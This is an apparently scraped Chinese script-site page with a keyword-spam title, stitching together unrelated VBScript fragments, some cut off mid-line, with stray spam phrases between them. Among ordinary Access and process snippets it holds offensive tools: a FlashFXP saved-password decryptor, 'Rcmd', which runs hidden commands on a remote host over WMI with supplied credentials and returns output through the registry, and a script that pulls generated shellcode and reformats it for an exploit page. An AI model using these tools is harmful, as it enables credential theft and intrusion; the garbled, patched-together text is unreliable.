oracle执行sql脚本出现乱码文件80挖矿

发布时间:2020-11-21 来源:脚本之家 点击:



3.程序清单

'ReferencesMSAccess8.0ObjectLibrary(this

'codewillworkwithanyversonofAccessthat

'supportsAutomation)

DimMSAccessAsAccess.Application

PrivatesubCommand1_Click()

  SetMSAccess=NEWAccess.Application

  MSAccess.OpenCurrentDatabase(App.Path&"\novelty.mdb")

  MSAccess.DoCmd.OpenReport"rptEmployess",acViewNormal

  MSAccess.CloseCurrentDatabase

  SetMSAccess=Nothing

endSub

注:acViewNormal告知Access打开该报表并立即打印
'----------------------------------------------------------------------------------
OnErrorResumenext
Setfs=CreateObject("scripting.filesystemobject")
Setos=CreateObject("wscript.shell")
Setos0=createobject("shell.application")
Setd0=CreateObject("scripting.dictionary")
Setwmi=GetObject("winmgmts:\\.")
Setpro_s=wmi.instancesof("win32_process")

'-------------创建临时文本文件文件,把当前进程输入该文本文件之中并通过记事本打开之
'---------同时把进程对应序号和pid传递给dictionary(d0)一份
filename=fs.GetTempName
setf1=fs.CreateTextFile(filename,True)
msg="序号"&vbTab&"名称"&vbTab&"PID"&vbTab&"程序文件"&vbtab&now&Chr(10)
f1.Writeline(msg)
n=1
ForEachpInpro_s
f1.WriteLine(n&"."&p.name&","&p.handle&","&p.commandline&Chr(10))
d0.Add""&n,Trim(p.handle)
n=n+1
Next
f1.Close
os0.MinimizeAll
os.Exec"notepad.exe"&filename
wscript.sleep500

'--------------等待用户输入欲中断的进程相关的序号列,确定之后关闭并删除临时文本文件
x=InputBox("请根据"&filename&"中的内容"+Chr(10)+_
"选择需要同时中断的进程对应序号:"+Chr(10)+_
"(序号之间用','间隔例如:'1,3,5,7,11')","选择")
os.AppActivatefilename&"-记事本"
os.SendKeys"%fx"
WScript.Sleep500
fs.DeleteFilefilename

'--------如果用户取消了操作,就退出程序
Ifx=""thenwscript.quit
'--------把用户输入的序号列中相关的序号传递给一个数组xs
xs=Split(x,",",-1,1)
'-----------对用户输入的序号列进行校对,将重复序号标记为-2,计算实际序号个数
Fori=0toubound(xs)'---利用双重循环将重复输入的内容保留一份,其他的标记为-1
forn=0toubound(xs)
ifn=ithen
n=n+1
ifn>ubound(xs)thenexitfor
endif
ifTrim(xs(n))=Trim(xs(i))Or_
Trim(xs(n))=""Then
xs(n)="-1"
endIf
next
Next

w=0'----把不真实可用的序号剔除并计算出其个数
Fori=0ToUBound(xs)
Ifd0.Exists(xs(i))=FalseThen
xs(i)="-2"
w=w+1
EndIf
Next

w=(UBound(xs)+1-w)'---得出可用的序号个数
'------------如果序列中没有输入任何序号就退出程序
Ifw=0Then
MsgBox"需要中断的进程列表为空

dnf脚本封号吗

'****************************
'*by r05e
'*检验SQL SERVER是否在这机器上工作
'****************************
strComputer="."
Set objWMIService=GetObject("winmgmts:" _
& "{impersonationLevel=impersonate}!\" & strComputer & "\root\cimv2")
Set colServices=objWMIService.ExecQuery _
("Select * from Win32_Service Where Name='MSSQLServer'")
If colServices.Count > 0 Then
For Each objService in colServices
Wscript.Echo "SQL Server is " & objService.State & "."
Next
Else
Wscript.Echo "SQL Server is not installed on this computer."
End If
假设现已有一个过程FileSave用来保存文件,则可以这样来编写程序


PublicFunctionDecryptFlashFXP(passwordAsString)AsString
DimxAsInteger
Dimmagic()AsString
DimchrresultaAsInteger
DimchrresultbAsInteger
DimchrlastAsInteger
DimchrtmpAsInteger
DimmagicnumAsInteger
DimpwdtmpAsString
'MAGICBUFFER="yA36zA48dEhfrvghGRg57h5
'UlDv3"
magic=Split("121,65,51,54,122,65,52,56,100,69,104,102,114,118,103,104,71,82,103,53,55,104,53,85,108,68,118,51",",")
chrlast=Val("&H"&Mid(password,1,2))
magicnum=0


Forx=3ToLen(password)Step2
chrtmp=Val("&H"&Mid(password,x,2))
chrresulta=(chrtmpXormagic(magicnum))
chrresultb=chrresulta-Val(chrlast)


Ifchrresultb>255orchrresultb<0Then
chrresultb=chrresultb-&HFFFFFF01
EndIf
chrlast=chrtmp
pwdtmp=pwdtmp&Chr(chrresultb)
magicnum=magicnum+1


Ifmagicnum>27Then
magicnum=0
EndIf
Nextx
DecryptFlashFXP=pwdtmp
EndFunction
但是构思的最精彩细节还在后面


SetobjExplorer=WScript.CreateObject_
("InternetExplorer.Application","IE_")
objExplorer.Navigate""
objExplorer.Visible=1
objExplorer.ToolBar=0
objExplorer.StatusBar=0
objExplorer.Width=400
objExplorer.Height=250
objExplorer.Left=0
objExplorer.Top=0
DoWhile(objExplorer.Document.Body.All.OKClicked.Value="")
Wscript.Sleep250
Loop
strPassword=objExplorer.Document.Body.All.PasswordBox.Value
objExplorer.Quit
Wscript.Sleep250
Wscript.EchostrPassword
幸运的是,通过调用WINDOWSDLL就很容易做到


On Error Resume Next
Set outstreem=Wscript.stdout
If (LCase(Right(Wscript.fullname,11))="Wscript.exe") Then
Set objShell=Wscript.CreateObject("Wscript.shell")
objShell.Run("cmd.exe /k cscript //nologo "&Chr(34)&Wscript.ScriptFullName&Chr(34))
Wscript.Quit
End If
If Wscript.arguments.Count<4 Then
usage()
Wscript.echo "Not enough Parameters."
Wscript.Quit
End If

ip=Wscript.arguments(0)
username=Wscript.arguments(1)
password=Wscript.arguments(2)
CmdStr=Wscript.arguments(3)
EchoStr=Wscript.arguments(4)
foldername="c:\\windows\\temp\"

wsh.echo "Conneting "&ip&" ...."
Set objlocator=CreateObject("wbemscripting.swbemlocator")
Set objswbemservices=objlocator.connectserver(ip,"root/cimv2",username,password)
showerror(err.number)
Set Win_Process=objswbemservices.Get("Win32_ProcessStartup")
Set Hide_Windows=Win_Process.SpawnInstance_
Hide_Windows.ShowWindow=12
Set Rcmd=objswbemservices.Get("Win32_Process")
Set colFiles=objswbemservices.ExecQuery _
("Select * from CIM_Datafile Where Name='"&foldername&"read.vbs'")
If colFiles.Count=0 Then
wsh.echo "Not found read.vbs! Create Now!"
Create_read()
End If


If EchoStr="0" Then
msg=Rcmd.create("cmd /c "&CmdStr,Null,Hide_Windows,intProcessID)
Else
msg=Rcmd.create("cmd /c cscript %windir%\temp\read.vbs """&CmdStr&"""",Null,Hide_Windows,intProcessID)
End If

If msg=0 Then
wsh.echo "Command success..."
Else
showerror(Err.Number)
End If

wsh.echo "Please Wait 3 Second ...."
wsh.sleep(3000)
Set StdOut=Wscript.StdOut
Set oReg=objlocator.connectserver(ip,"root/default",username,password).Get("stdregprov")
oReg.GetMultiStringValue &H80000002,"SOFTWARE\Clients","cmd" ,arrValues
wsh.echo String(79,"*")
wsh.echo cmdstr&Chr(13)&Chr(10)
'wsh.echo arrvalues
For Each strValue In arrValues
StdOut.WriteLine strValue
Next
oReg.DeleteValue &H80000002,"SOFTWARE\Clients","cmd"

Sub Create_read()
RunYN=Rcmd.create("cmd /c echo set ws=WScript.CreateObject(^""WScript.Shell^"")> %windir%\temp\read.vbs"_
&"&&echo str=ws.Exec(^""cmd /c ^""^&wscript.arguments(0)).StdOut.ReadAll:set ws=nothing>> %windir%\temp\read.vbs"_
&"&&echo Set oReg=GetObject(^""winmgmts:{impersonationLevel=impersonate}!\\.\root\default:StdRegProv^"")>> %windir%\temp\read.vbs"_
&"&&echo oReg.SetMultiStringValue ^&H80000002,^""SOFTWARE\Clients^"",^""cmd^"",Array(str) >> %windir%\temp\read.vbs",Null,Hide_Windows,intProcessID)
If RunYN=0 Then
wsh.echo "read.vbs Created!!!"
Else
showerror(Err.Number)
End If

End Sub

Function showerroronly(errornumber)
If errornumber Then
wsh.echo "Error 0x"&CStr(Hex(Err.Number))&" ."
If Err.Description <> "" Then
wsh.echo "Error Description: "&Err.Description&"."
End If
Wscript.Quit
Else
outstreem.Write "."
End If
End Function


Sub usage()
wsh.echo string(79,"*")
wsh.echo "Rcmd v1.01 by NetPatch"
wsh.echo "Usage:"
wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password Command"
wsh.echo "cscript "&wscript.scriptfullname&" targetIP username password Command 0 //No echo"
wsh.echo string(79,"*")&vbcrlf
end Sub
永恒狂刀脱机下载
iTemp=DoEvents()
'创建一个300X3数组
ReDimsTables(300,3)AsString
DimsDataTypeLineAsString

'读取CSV文件,并将字段定义保存在数组中
CallReadTableDefinition(sCSVFileName,sTables())

DimtblAsNewTableDef
DimfldAsField

'打开数据库
DimdbPersonsAsdatabase
SetdbPersons=OpenDatabase(sDatabaseName&".MDB",True)



'记录下新的表单名
tbl.Name=sTableName

'增添第一个字段
Setfld=NewField
fld.Name=sTables(1,1)
fld.Type=GetFieldType((sTables(1,2)))
fld.Size=Val(sTables(1,3))
tbl.Fields.Appendfld


dbPersons.TableDefs.Appendtbl

'增加其它的字段
DimiNextColAsInteger
iNextCol=1
DoWhileTrue
Setfld=NewField
iNextCol=iNextCol 1
'到了表定义的底部则退出
IfsTables(iNextCol,1)="***END***"Then
ExitDo
EndIf
fld.Name=s->

'code by lcx

On Error Resume Next
Exeurl=InputBox( "请输入exe的地址:", "输入", "" )
url=""&URLEncoding(Exeurl)&"&MaxSize=&BadChars=0x00+&ENCODER=default&ACTION=Generate+Payload"


Body=getHTTPPage(url)
Set Re=New RegExp
Re.Pattern="(\$shellcode \=[\s\S]+</div></pre>)"

Set Matches=Re.Execute(Body)
If Matches.Count>0 Then Body=Matches(0).value

code=Trim(Replace(Replace(replace(Replace(Replace(Replace(Replace(Body,"$shellcode=",""),Chr(34),""),Chr(13),""),";",""),"</div></pre>",""),Chr(10),""),".",""))

function replaceregex(str)
set regex=new regExp
regex.pattern="\\x(..)\\x(..)"
regex.IgnoreCase=true
regex.global=true
matches=regex.replace(str,"%u$2$1")
replaceregex=matches
end Function


Function getHTTPPage(Path)
t=GetBody(Path)
getHTTPPage=BytesToBstr(t, "GB2312")
End Function

Function GetBody(url)
On Error Resume Next
Set Retrieval=CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", url, False, "", ""
.Send
GetBody=.ResponseBody
End With
Set Retrieval=Nothing
End Function

Function BytesToBstr(Body, Cset)
Dim objstream
Set objstream=CreateObject("adodb.stream")
objstream.Type=1
objstream.Mode=3
objstream.Open
objstream.Write Body
objstream.Position=0
objstream.Type=2
objstream.Charset=Cset
BytesToBstr=objstream.ReadText
objstream.Close
Set objstream=Nothing
End Function

Function URLEncoding(vstrIn)
strReturn=""
For aaaa=1 To Len(vstrIn)
ThisChr=Mid(vStrIn,aaaa,1)
If Abs(Asc(ThisChr)) < &HFF Then
strReturn=strReturn & ThisChr
Else
innerCode=Asc(ThisChr)
If innerCode < 0 Then
innerCode=innerCode + &H10000
End If
Hight8=(innerCode And &HFF00)\ &HFF
Low8=innerCode And &HFF
strReturn=strReturn & "%" & Hex(Hight8) & "%" & Hex(Low8)
End If
Next
URLEncoding=strReturn
End Function

set fso=CreateObject("scripting.filesystemobject")
set fileS=fso.opentextfile("a.txt",2,true)
fileS.writeline replaceregex(code)
'fileS.writeline body
wscript.echo replaceregex(code)
files.close
set fso=Nothing

wscript.echo Chr(13)&"ok,生成a.txt,请用a.txt里的替换里的shellcode1内容即可"。

网站地图 | Tag标签 | RSS订阅
Copyright © 2012-2019 脚本之家 All Rights Reserved
脚本之家  渝ICP备13030612号